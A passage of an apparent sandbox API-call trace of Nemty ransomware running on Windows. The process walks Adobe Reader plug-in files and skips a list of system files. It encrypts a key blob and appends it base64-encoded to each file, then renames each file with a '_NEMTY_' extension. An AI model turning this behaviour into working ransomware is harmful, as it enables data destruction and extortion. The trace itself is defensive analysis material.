(HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0192.206] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x263370b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x263370b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0192.206] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0192.206] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x263370b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x263370b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0192.206] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0192.207] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0192.207] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.SKY", cAlternateFileName="")) returned 1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2=".") returned 1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="..") returned 1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="...") returned 1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="windows") returned -1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="$RECYCLE.BIN") returned 1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="rsa") returned -1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="NTDETECT.COM") returned -1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="ntldr") returned -1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="MSDOS.SYS") returned -1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="IO.SYS") returned -1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="boot.ini") returned 1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="boot.ini") returned 1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="ntuser.dat") returned -1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="desktop.ini") returned 1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="CONFIG.SYS") returned 1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="RECYCLER") returned -1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="BOOTSECT.BAK") returned 1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="bootmgr") returned 1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="programdata") returned -1 [0192.207] lstrcmpiW (lpString1="Flash.SKY", lpString2="appdata") returned 1 [0192.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SKY", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SKY", lpUsedDefaultChar=0x0) returned 9 [0192.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SKY", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SKY", lpUsedDefaultChar=0x0) returned 9 [0192.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SKY", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SKY", lpUsedDefaultChar=0x0) returned 9 [0192.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SKY", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SKY", lpUsedDefaultChar=0x0) returned 9 [0192.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340240 [0192.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0192.208] Sleep (dwMilliseconds=0x5) [0192.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26383370, dwHighDateTime=0x1d561e8)) [0192.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x26383370, dwHighDateTime=0x1d561e8)) [0192.222] GetLastError () returned 0xb7 [0192.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.222] GetLastError () returned 0xb7 [0192.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.222] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.222] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.222] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0192.222] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="HapsBi/QnPrQY2pSQD7FWi3tCyZ1NVKy/dsoEuB+ao/KAQX6uLNVoO0+mp/49Bba\r\nZA0fiY0LH4uo2EUo1V0b4qkbG+8iQq6VKFgvo6CvMbQF+a846icDB0xurT66npPu\r\nPSJECDZZBveMnl01nRmPYZm/AfRS3V95kB+Hgar9+thWfeW/OpaDSYogz5oGmOgo\r\n143MxRgaDkJysO6hRzoxtKp1ZIHCxNxm4kXxLVYc20iK625StU+LU/bq08ndH6Kn\r\nRAccuJu+0/AY5oNzCuygcq7QZyGycMnqwyXKGhty9ldTbNR0opVmMY8TKpH9hYOg\r\n6hFtlOXjJnkGQludA3U9FA==\r\n", pcchString=0x653e29c) returned 1 [0192.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0192.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.223] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\Flash.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\flash.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.223] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.223] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.223] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.225] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.225] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.225] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.225] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.225] CloseHandle (hObject=0x2f0) returned 1 [0192.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0192.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0192.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0192.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0192.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.226] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\Flash.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\flash.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\Flash.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\flash.sky._nemty_kgobjgd_")) returned 1 [0192.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0192.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0192.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0192.229] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.SKY", cAlternateFileName="")) returned 1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2=".") returned 1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="..") returned 1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="...") returned 1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="windows") returned -1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="$RECYCLE.BIN") returned 1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="rsa") returned -1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="NTDETECT.COM") returned -1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="ntldr") returned -1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="MSDOS.SYS") returned -1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="IO.SYS") returned 1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="boot.ini") returned 1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="boot.ini") returned 1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="ntuser.dat") returned -1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="desktop.ini") returned 1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="CONFIG.SYS") returned 1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="RECYCLER") returned -1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="BOOTSECT.BAK") returned 1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="bootmgr") returned 1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="programdata") returned -1 [0192.229] lstrcmpiW (lpString1="Mcimpp.SKY", lpString2="appdata") returned 1 [0192.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SKY", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.SKY", lpUsedDefaultChar=0x0) returned 10 [0192.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SKY", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.SKY", lpUsedDefaultChar=0x0) returned 10 [0192.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SKY", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.SKY", lpUsedDefaultChar=0x0) returned 10 [0192.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SKY", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.SKY", lpUsedDefaultChar=0x0) returned 10 [0192.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0192.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0192.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0192.230] Sleep (dwMilliseconds=0x5) [0192.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2648dd10, dwHighDateTime=0x1d561e8)) [0192.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2648dd10, dwHighDateTime=0x1d561e8)) [0192.339] GetLastError () returned 0x0 [0192.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.340] GetLastError () returned 0x0 [0192.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.340] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.340] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.340] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0192.340] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="j8rEo5ofovgBaKzCCAC/+FV2xGYnckKvaLENka7chOd6tujebCGERycUXRALJJPQ\r\nHU4uwcqoX/UawQrVu/QmwnKBrd3KKIwTaY6dZAcVAYUMWcpaXfCL0z+RcbZ0w6ML\r\nwJKQoSc0Bun3eq2pnt1MbQtKKjJTNeEnvap/AriPPaxXH9B5ecDPg/fXlsKGQc+D\r\ny3RJKRtJsHPs3MgqcgTRLxKfmKLemlpNduWkGH79dJSEuAtqt3JBLpyjnVRIXoej\r\nPazXVcawEPbEB+iSmaYX8+5PLV/azC6mtqifSJgPG0h/1vXjjmEm5xS4JfR4m+XA\r\nqYVBSal+taUHlCMLq5DVVw==\r\n", pcchString=0x653e29c) returned 1 [0192.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0192.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.340] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\Mcimpp.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\mcimpp.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.341] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0192.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0192.341] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.341] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0192.343] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.343] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0192.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.343] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0192.343] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.343] CloseHandle (hObject=0x2f0) returned 1 [0192.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0192.343] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 